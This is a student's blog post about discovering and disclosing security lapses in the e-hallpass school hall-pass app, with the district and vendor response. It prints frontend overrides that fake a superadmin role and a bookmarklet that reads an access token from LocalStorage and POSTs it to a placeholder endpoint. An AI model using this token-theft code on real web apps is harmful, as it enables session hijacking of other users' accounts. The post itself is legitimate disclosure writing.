e-hallcracked: how I disabled a digital hall pass for 10,000 students

Heard of e-hallpass? It's the next generation of hall passes. It was also surprisingly insecure.

· 15 min read
Messily-drawn white arrows on a red background, above text saying "e-hallcracked. by blue linden."

Before I start, this story has a happy ending. Eduspire / Securly, the companies behind the e-hallpass product, have fixed every single oversight and lapse described in this post. Nothing here could exploit their product in any way as of late March. The items described are less vulnerability and more lapse of best practices. My school's administration seemed cool with me publishing this, so here we go:

No, the title is not clickbait. I'm not BSing people here, what is this, YouTube? For a short period of time, Fairfax County used a domain-level block against e-hallpass.com. This is the first I'll be sharing publicly about why they did it.

Before the storm

E-hallpass is a digital hall pass system that claims to be the 'next generation' of hall passes. What does that mean? Who knows? How can you reinvent a piece of paper? Well, e-hallpass is an app. You open it when you want to go somewhere, so the hallpass knows where it is at all times. It knows this because it knows where it isn't. By subtracting where it is from where it isn't, or where it isn't from where it is (whichever is greater), it obtains a difference, or deviation...

Okay. United States Army copypasta aside, students tell the hall pass where they want to go, and their teacher has to approve it. From there, it puts a big timer on their screen and adds them to a list of students in the hallway on an e-hallpass server. Administrators can see where a student has gone and where they should be, and teachers can make passes on a student's behalf.

From the start, I didn't trust e-hallpass. The web app was low-quality and buggy. I didn't think it had good security either, but that wasn't really backed up by anything at first. I had just started writing JavaScript, so I couldn't understand much of the code.

Thankfully, they had source maps enabled in their Vue.js builds.

Explaining where I started

Okay, what's a source map? Imagine you're writing a web app. You have a lot of code that you want to run in a browser like Chrome or Safari. Instead of writing all the logic in said code by hand, you can use a framework. Frameworks take a lot of the complicated stuff out of your hands, like styling the app and going to the correct page based on what your user does. Handling what happens when someone clicks a button or presses the back button in their browser.

To make it easier to develop stuff for the framework, you can split your code into a bunch of files. Maybe one or two files per thing your app needs to do. Like a file for your revolutionary new ChatGPT text box, and a file for your MySpace-style music player so you can let everyone around your user know what music you like to listen to when you're feeling funky. Then, when you need to use that thing, you can import it from that file, and when you don't, it's not taking up space when you're working elsewhere.

But there's a problem. Users don't like it when the apps they run are bloated pieces of crap. No one wants to wait around for ten seconds while your app downloads hundreds of files so it can play five seconds of My Chemical Romance at 100% volume. So frameworks do a cheeky thing called bundling. You love being able to read your code, right? Too bad! Bundlers compact your code beyond recognition when you compile the app and combine it all into a few files, so that the users are downloading less to run your app. But that compaction isn't lossless. You can't just convert it back into readable code.

...Or can you? In barge source maps. Source maps themselves aren't humanly readable, but combined with your bundled code they effectively show you the original stuff you wrote, which is insanely useful if you think there's an issue in your code. Instead of trying to reverse-engineer what you wrote yesterday, you can load the source maps using your browser's Developer Tools and use debugging tools to figure out what's going on. These source maps aren't loaded automatically when you open the app, only when the browser notices you're debugging it. Generally, the moment you open Developer Tools is when the source maps load. They're there when you need them, and they're not when you don't.

I opened DevTools on the e-hallpass app and switched to the "EHP-APP" tab in the Sources panel, and lo and behold the clearly-commented code appeared before my eyes. At first, I just had some fun and I made the frontend think I was an admin.

// Want to try it for yourself? Here's some advice: Don't!
// if you're sure doing this won't get you in trouble, 
// replace the corresponding class functions in the app.XXXXXXXX.js file with these, 
// using DevTools Local Overrides:

getUserRole(e) {
  if (e.user && e.user.role_id) {
    return "superadmin";
  }
},
isStudent(e) {
  return false;
},
isSuperAdmin() {
  return true;
},
// Use ctrl+f to replace the existing functions with these.
// if you don't know what a local override is, here's some Google documentation on it: 
// https://developer.chrome.com/docs/devtools/overrides/

The above code fools the app into thinking you're a super admin.

The e-hallpass interface displaying admin options where it shouldn't.
You think I'm lying? I took this screenshot yesterday.

Pulling the cover off

Thankfully, the administrator API endpoints (the parts of the servers that the app communicates with to get information specific to administrators, like student lists and individual pass info) were locked down and I couldn't get anything. It was just a party trick I could show to my friends. I still had a sneaking suspicion that I was just scratching the surface.

So I dug deeper, and I found that the app used LocalStorage to store its secrets. This... isn't ideal. Any JavaScript running on the page would be able to access the secret accessToken.

Okay, what's all this talk of LocalStorage and Secrets? Well, say you wanted to store something like a user's language of choice in your app. You could just put it in a JavaScript variable, but then when the page reloads the app forgets the language! ¡Pobrecito! This is where LocalStorage comes in. Where you would normally just forget something on reload, you can tell the browser beforehand to store the data in a way you can access it, without any need for a server! Hence, LocalStorage.

And so a secret is a piece of information that ordinary people shouldn't be able to access. In normal word usage, it would be things such as the person you have a crush on. (Hi! I doubt you'll be reading this.) But in code, it means things like a user's password, or maybe a key or a token. Those two words are effectively passwords, but for computers. While your password may be Whiskers1234, a token or key may be:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

An encoded JSON Web Token

It's like a code word. Anyone who submits it as authentication, as part of their request, has automatic access. This information is sensitive, and should remain closely guarded. If it gets out, there could be consequences. Whether your hypothetical crush ices you out, or whether hackers or redditors swarm your app and wreck stuff. Or if a nosy freshman gets a whole school district of 200,000 students to block your app because of security concerns. Storing the token in LocalStorage allowed code that I wrote to manipulate and extract the token. But blue, I hear the web developers say, how are you going to get arbitrary code to run on this webpage?

Have you ever heard of bookmarklets? Security teams hate this one simple trick that lets you run arbitrary code with full access to a webpage and the outside world! Who needs content-security-policy when you can just run the code, right here and now! Sign up today for a free** consultation on using cheeky workarounds to bypass security restrictions!

** Consultation not included in any bluelinden.art subscription. You can still subscribe to the blog, though, I promise I won't spam you.

A bookmarklet is a JavaScript snippet compressed and formatted into one line, compact enough that it fits into the URL field of a bookmark or link. Clicking that bookmark or link executes the JavaScript. Here's one that recommends a great musician's album. I used a bookmarklet to get a payload on to the page:

javascript:(()%3D%3E%7Bvar%20accessToken%3DlocalStorage.getItem(%22accessToken%22)%2Cdata%3D%7BaccessToken%3AaccessToken%7D%3Bfetch(%22replaceWithAPIURL%22%2C%7Bmethod%3A%22POST%22%2Cheaders%3A%7B%22Content-Type%22%3A%22application%2Fjson%22%7D%2Cbody%3AJSON.stringify(data)%7D).then((e%3D%3Ee.json())).then((e%3D%3Econsole.log(e)))%3B%7D)()%3B

The original 'EHP HACK' exploit, which worked on frontend versions released before mid-February 2023.

Here's the entirety of the exploit, in plain JavaScript:

var accessToken = localStorage.getItem("accessToken"); // get the accessToken from localStorage
var data = {accessToken: accessToken}; // create a JSON object that contains said token
fetch("insert API endpoint here", { // POST the JSON object to an open API endpoint
    method: "POST", // POST request
    headers: {
        "Content-Type": "application/json" // set the Content-Type to JSON for compatibility
    },
    body: JSON.stringify(data) // the body of that request is the JSON in string form.
});

EHP HACK exploit in JS

All the exploit does is take the access token and send it to a server somewhere. The access token was stored in plain text, so it wasn't too hard. That doesn't sound super bad on first listen. At least not until I get to the bigger issue at hand.

Plunging down

I had to make sure that the issue was legit. I had tested it on my own computer, sure, but did I want to say "well, it works on my computer!"? No! I like making things misbehave on other peoples' computers!

As part of the demo, I set up a Google Site accessible to a select few people, containing the bookmarklet.

EHPHCK: A demo site SOLELY for the purposes of testing the E-Hallpass vulnerability found by Blue Linden.   Any use beyond demonstration to administrators is illegal and heavily discouraged.  All use must have the consent of the victim. BKMRK(Bookmarklet)
The best web design of my whole career!

So I opened the site on one of my friend's laptops. With their permission, I opened e-hallpass as them, opened the Application panel in DevTools, (the bookmarklet from earlier was too cumbersome to use, as it required an external API) and copied the accessToken key from the Local Storage panel. I emailed it to myself, and pasted it into the matching field on my computer. I made the mistake of not taking a photo of my first friend, but I was too busy pacing and swearing loudly. I did manage to snag my third or fourth attempt, though.

The top right corner of my computer screen, displaying a user named "Nick M." as the logged-in user on e-hallpass.
Ignore the obnoxious thumb up.

Speaking up and heading on down

I wrote an email to the school's tech specialist. I didn't expect a response, I didn't get one last time. But I sent it anyway.

The next day, after lunch during my algebra class, school security knocked on the door. The person pulled me out, and told me to go into the main office and ask for the assistant principal. I expected the scenario to be a "Don't do this again, just let someone know before you do something next time." talk. As I walked through the hallways, I got more and more nervous. I walked into the office and sat down, and within a few minutes the assistant principal brought me into her office, both of us winding through the administration's own little tree of hallways.

A student, the assistant principal, the director of student services, the school's IT guy, and a bunch of people from the Fairfax County Public Schools Office of Cybersecurity walk into a zoom call.

Oh my god, I thought. They all introduced themselves, and I introduced myself. I explained and demoed the issue, and it worked perfectly. I'm very thankful for the demo gods' decision to grant my wishes. For the first time, I realized, I had a seat at the table. The FCPS Cybersecurity team involved me in everything they realistically could. As a high school freshman! I'm forever grateful for that. They weren't dismissive and they really listened.

We get off the call, I send my document to them after finishing it up, I promise my English teacher that yes, I will finish my homework tonight. And I head home, waiting for a response.

The Sonic Boom

[the twitter embed broke, sorry!] https://twitter.com/FFXParentsAssoc/status/1625636242330161152

Security breach leads to change in hall passes
E-hallpass, a controversial subject to the McLean student population, has recently been shut down due to technical difficulties. The e-hallpass system was implemented at McLean at the beginning of the 2022-2023 school year. While this system was implemented to increase the reliability of hall passes…

The Highlander wrote a very well-researched article about this! Thanks, Madeleine and Dania!

I got talked about at my school. My administration was one week away from rolling e-hallpass out to all classes, and all the teachers knew was that some freshie hacked it and delayed it. I ended up meeting a big part of my school's administration, and on good terms, which I am grateful for.

They pulled me back in a week or two later, and the FCPS Cybersecurity office told me the issue was fixed. I believed them, so I didn't really think about it that much for a while. Until I interviewed my administration for a now-canceled article at The Verdict. My principal said they would be rolling the software out in April.

One more time

I wasn't sure if it was ready, and I was worried they just pulled out a band-aid fix. So I went back in, and to my surprise, the issue was fixed!

...In a way. See, the issue of the access token being stored raw was fixed. That doesn't mean it wasn't accessible.

What they did was the most band-aid of band-aid fixes. See, they told me that they were using the user agent (information about the device and browser) and a few other pieces of information (in this case a randomly generated cookie) to encrypt the access token until it was needed. Unfortunately, everyone in Fairfax County has the same computer and browser. It's also a real shame, then, that the exact code required to decode the encryption is bundled in the source map:

var CryptoJS = require("crypto-js")
import cookieService from "./cookies"

const authService = {
  saveToken(token) {
    if (token) {
      localStorage.setItem(
        "accessToken",
        CryptoJS.AES.encrypt(
          token,
          navigator.userAgent + cookieService.getCookie("tlasphe")
        ).toString()
      )
      return
    }
  },
  getToken() {
    try {
      let token = localStorage.getItem("accessToken")
      return CryptoJS.AES.decrypt(
        token,
        navigator.userAgent + cookieService.getCookie("tlasphe")
      ).toString(CryptoJS.enc.Utf8)
    } catch (error) {
      return ""
    }
  }
}

export default authService;

Awww maaaan...

The above code encrypts the token using CryptoJS, a JavaScript toolset that helps with common encryption tasks. It uses a special tlasphe cookie that's generated in the below code block.

const cookieService = {
  setCookie(cname, cvalue, expireDays = 10) {
    const d = new Date()
    d.setTime(d.getTime() + expireDays * 24 * 60 * 60 * 1000)
    let expires = "expires=" + d.toUTCString()
    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/"
  },
  removeCookie(cname) {
    document.cookie = cname + "=;expires=Thu, 01 Jan 1970 00:00:00 UT; path=/;"
  },
  getCookie(cname) {
    let name = cname + "="
    let decodedCookie = decodeURIComponent(document.cookie)
    let ca = decodedCookie.split(";")
    for (let i = 0; i < ca.length; i++) {
      let c = ca[i]
      while (c.charAt(0) == " ") {
        c = c.substring(1)
      }
      if (c.indexOf(name) == 0) {
        return c.substring(name.length, c.length)
      }
    }
    return ""
  },
  createTlaspheCookie() {
    cookieService.setCookie(
      "tlasphe",
      String(Date.now().toString(32) + Math.random().toString(16)).replace(
        /\./g,
        ""
      )
    )
  }
}

export default cookieService

dude if ur gonna keep a secure service you gotta stop shooting urself in the foot jfc

The above code was also written by Eduspire, and it basically exposes a system for managing cookies. Cookies are little pieces of information that are sent to and received from a server, besides sometimes being accessible by JavaScript.

The actual exploit code is up on GitHub. It's much more complex than the first version.

e-hallcracked-demo.2/src/exploit.js at main · bluelinden/e-hallcracked-demo.2
Contribute to bluelinden/e-hallcracked-demo.2 development by creating an account on GitHub.

But basically, it's another bookmarklet (yay!!!) and it asks the user for an action:

  1. Steal the token. The exploit will decrypt the token and copy it to your clipboard.
  2. Paste the token. The exploit will take a new token, encrypt it, and switch the old accessToken out for it.
  3. Regenerate the cookie. To prove that their system was insecure, I added a demo function that would swap the randomly generated cookie out and replace it with a new value, keeping the current token working.

And I will say, I got something wrong during the discovery of this new set of issues. I thought I found a SQL injection at one of the server endpoints, but it turned out to just be weird error handling.

SQL injections are attack methods that give you direct control of a database. They do it by injecting special code called SQL in text fields. SQL is the language that software uses to speak to databases. So, I sent a test code to the backend, and it gave a server error code. I reported it as part of the vulnerability collection, and Eduspire got back to the FCPS Cybersecurity office and said it was only weird error handling. Crisis averted.

Exploits of a Mom
XKCD's Exploits of a Mom, by Randall Munroe

I had to demo the exploit, it worked again (I obsessively test my stuff beforehand) and I managed to do it seamlessly enough (yes, I was explaining it as I went along, don't worry) that the FCPS Cybersecurity office didn't even notice it happened. They asked me to demo it... As I was already logged in to a hacked account. I had to explain that yes, I already performed the exploit. I did it again, and they still didn't quite follow. They asked for my documentation, and I sent it. The GitHub repo mentioned above is that entire documentation and exploitation folder, as sent to the office of cybersecurity. Nothing is changed or obscured.

After I sent the folder in, my high school indefinitely postponed the adoption of e-hallpass.

Why I started this

I believe that educational technology should be transparent. I think that security holes and issues with the product should be public. After all, it wouldn't just hurt you. It could be teenagers, college students, even elementary schoolers.

Eduspire wasn't doing that. I didn't feel safe using their tool, because of the buggy and (at least back then) unreliable systems. When my high school proposed using it, I pushed back. I wanted to look into it first to see if there was anything wrong. And there was. Eduspire should have been more transparent about this. I feel I made the right choice by going through my district at first, but next time this happens I may as well file a Coordinated Vulnerability Disclosure request. People should not implicitly trust these platforms, just because of their status as the leader or pioneer in their field. Always verify whether something is safe. While I won't provide them myself due to copyright issues, e-hallpass still has source maps enabled in their frontend. You can go through and read all of their frontend source code as written. People should do that more often.

The aftermath

Eduspire Solutions and Securly merged back in 2022. Securly provides student monitoring services, like web monitoring. A few weeks ago, Eduspire started merging their products' appearances into Securly's.

Securly is much more focused on security than Eduspire, appearing to have a closed bug bounty program. Props to them, it's really important to acknowledge that security needs more than just internal review. Maybe they can bring that to Eduspire, who have no mention of security audits or bug bounties at all.

I didn't get anything out of it, and I don't want to. My reward was my school deciding not to adopt the tool after all. And being able to write this post.

Eduspire now uses a lot of security mechanisms for e-hallpass, opting for a Swiss-cheese approach that even I can't figure out a way around. CSRF prevention tokens, (presumably) backend validation, encryption, httpOnly cookies (disabling JavaScript's ability to access them), seriously, props for engineering good security into your product.

Goodbyes

I have some people I would like to say thanks to.

First and foremost, to my journalism teacher, for believing in and supporting me through all this.

Second, to Eduspire itself, for diligently doing the right thing and responding without being condescending or hostile, and fixing it within the month and a half that all of this happened in.

Third, the GSA at my high school, for also being there and letting me test on your computers.

Fourth, Bee and Allison from my journalism class, for letting me test the very first versions of the exploit on your computers.

Fifth, the FCPS Office of Cybersecurity, for believing in a fifteen-year-old's ability to hack and being an effective liaison between Eduspire and I.

And sixth and finally, but not the most finite (?), to my school's administration for backing me up and helping represent me to the FCPS Office of Cybersecurity.

- blue linden, 2023

Mastodon